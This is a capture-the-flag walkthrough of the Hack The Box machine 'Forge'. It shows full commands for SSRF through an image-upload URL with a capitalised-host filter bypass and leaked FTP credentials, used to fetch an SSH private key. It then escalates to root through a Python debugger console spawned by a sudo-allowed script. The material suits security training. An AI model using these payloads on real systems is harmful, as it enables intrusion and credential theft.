Forge - [HTB]
Table of Contents
Introduction
Forge is a medium linux machine where the attacker will have to exploit an SSRF (Server Side Request Forgery) on an images web page in order to retrieve the user's SSH private key. Finally, the attacker will have to raise an exception for a python server triggering a debugging console and becoming root.
Enumeration
As always, let's start finding all opened ports available on the machine with nmap.
kali@kali:~/HTB/Forge$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.129.204.105
Warning: 10.129.204.105 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.204.105
Host is up (0.11s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/HTB/Forge$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 21,22,80 10.129.204.105
Nmap scan report for 10.129.204.105
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.129.204.105; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 12 13:11:05 2021 -- 1 IP address (1 host up) scanned in 13.51 seconds
As we can see above nmap provide us with a domain forge.htb, adding it to the /etc/host
file we can access a gallery web page where we can upload our own images.
The web page provide us with two ways of uploading images via file or from URL.
Every file uploaded to the web page is stored under the uploads
directory with a random name without extension.
Furthermore, by enumerating subdomains with ffuz we can retrieve the subdomain admin.forge.htb.
kali@kali:~/HTB/Forge$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://forge.htb -H "Host: FUZZ.forge.htb" -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://forge.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 18
________________________________________________
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
However, trying to access this subdomain appears a text saying "Only localhost is allowed!".
Trying to submit this subdomain to the URL image form an error appears.
Exploitation
Nonetheless, this filter can be easily bypassed by writing the domain in capital letters http://ADMIN.FORGE.HTB
obtaining the contents of the admin web page.
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/H9Z1Hs0Vn3yf9g0yVyyG
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
As we can see above there is also an/announcements
directory where we can retrieve more information.
Using the same procedure we can retrieve the following page.
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/KcB0PZHqrZuwvFcCNq3m
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
As the text says, there is an endpoint under /upload
where we can retrieve files through the ftp protocol.
After some trial and error we are able to retrieve the user flag.
kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/&remote=1' | grep "uploads" | grep -o '".*"' | sed 's/"//g'
http://forge.htb/uploads/JRZLbkK7cMrvyUnGApPW
[...]
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/JRZLbkK7cMrvyUnGApPW
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Sep 12 03:16 user.txt
Moreover, we can get access to the machine obtaining the users's ssh private key.
kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa&remote=1' | grep "uploads" | grep -o '".*"' | sed 's/"//g'
http://forge.htb/uploads/ao5rFA3JKD0LPSuqKniX
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/ao5rFA3JKD0LPSuqKniX -o id_rsa
However, we still need to know the username's private key. This can be easily obtained by downloading the public key.
kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa.pub&remote=1' | grep "uploads" | grep -o '".*"' | sed 's/"//g'
http://forge.htb/uploads/hdjb3bbOm6GlCIITHcwi
kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/hdjb3bbOm6GlCIITHcwi
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdkg75DLB+Cd+2qjlqz6isdb/DVZusbqLoHtO/Y91DT02LE6a0dHeufEei6/j+XWk7aeM9/kZuNUcCwzAkNeYM2Nqpl8705gLsruGvsVXrGVRZOHBwqjSEg5W4TsmHV36N+kNhheo43mvoPM4MjlYzAsqX2fmtu0WSjfFot7CQdhMTZhje69WmnGycK8n/q6SvqntvNxHKBitPIQBaDmA5F+yqELcdqg7FeJeAbNNbJe1/ajjOY2Gy192BZYGkR9uAWBncNYn67bP9U5unQggoR+yBf5xZdBS3xEkCcqBNSMYCZ81Ev2cnGiZgeXJJDPbEvhRhdfNevwaYvpfT6cqtGCVo0V0LTKQtMayIazX5tzqMmIPURKJ5sBL9ksBNOxofjogT++/1c4nTmoRdEZTP5qmXMMbjBa+JI256sPL09MbEHqRHmkZsJoRahE8tUhv0SqdaHbv2Ze7RvjNiESD6fIMrq6L+euZFhQ5p2AIpdHvOUSbeaCPiG7hwVqwf8qU= user@forge
Finally, we are able to get access through ssh into the machine.
kali@kali:~/HTB/Forge$ ssh -i id_rsa user@forge.htb
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
Privilege Escalation
As we can see, user is able to execute the python script remote-manage.py
.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
This file creates a server on a random port where the client will have to send the password "secretadminpassword" in order to access the several options that it provides. Finally, everything is wrapped under a try-catch executing the Python Debugger console in case an exception occurs.
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
try:
[...]
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
[...]
option = int(clientsock.recv(1024).strip())
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
The easiest way to raise an exception in this code is by simply sending any letter in the options menu. Once, catched the python exception, a debugger console will appear allowing us to execute any command as root, obtaining the root flag.
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:31074
user@forge:~$ nc localhost 37662
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
asdf
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:31074
invalid literal for int() with base 10: b'sdfsdfa'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("/bin/bash -p")
root@forge:/home/user# cat /root/root.txt
[CENSORED]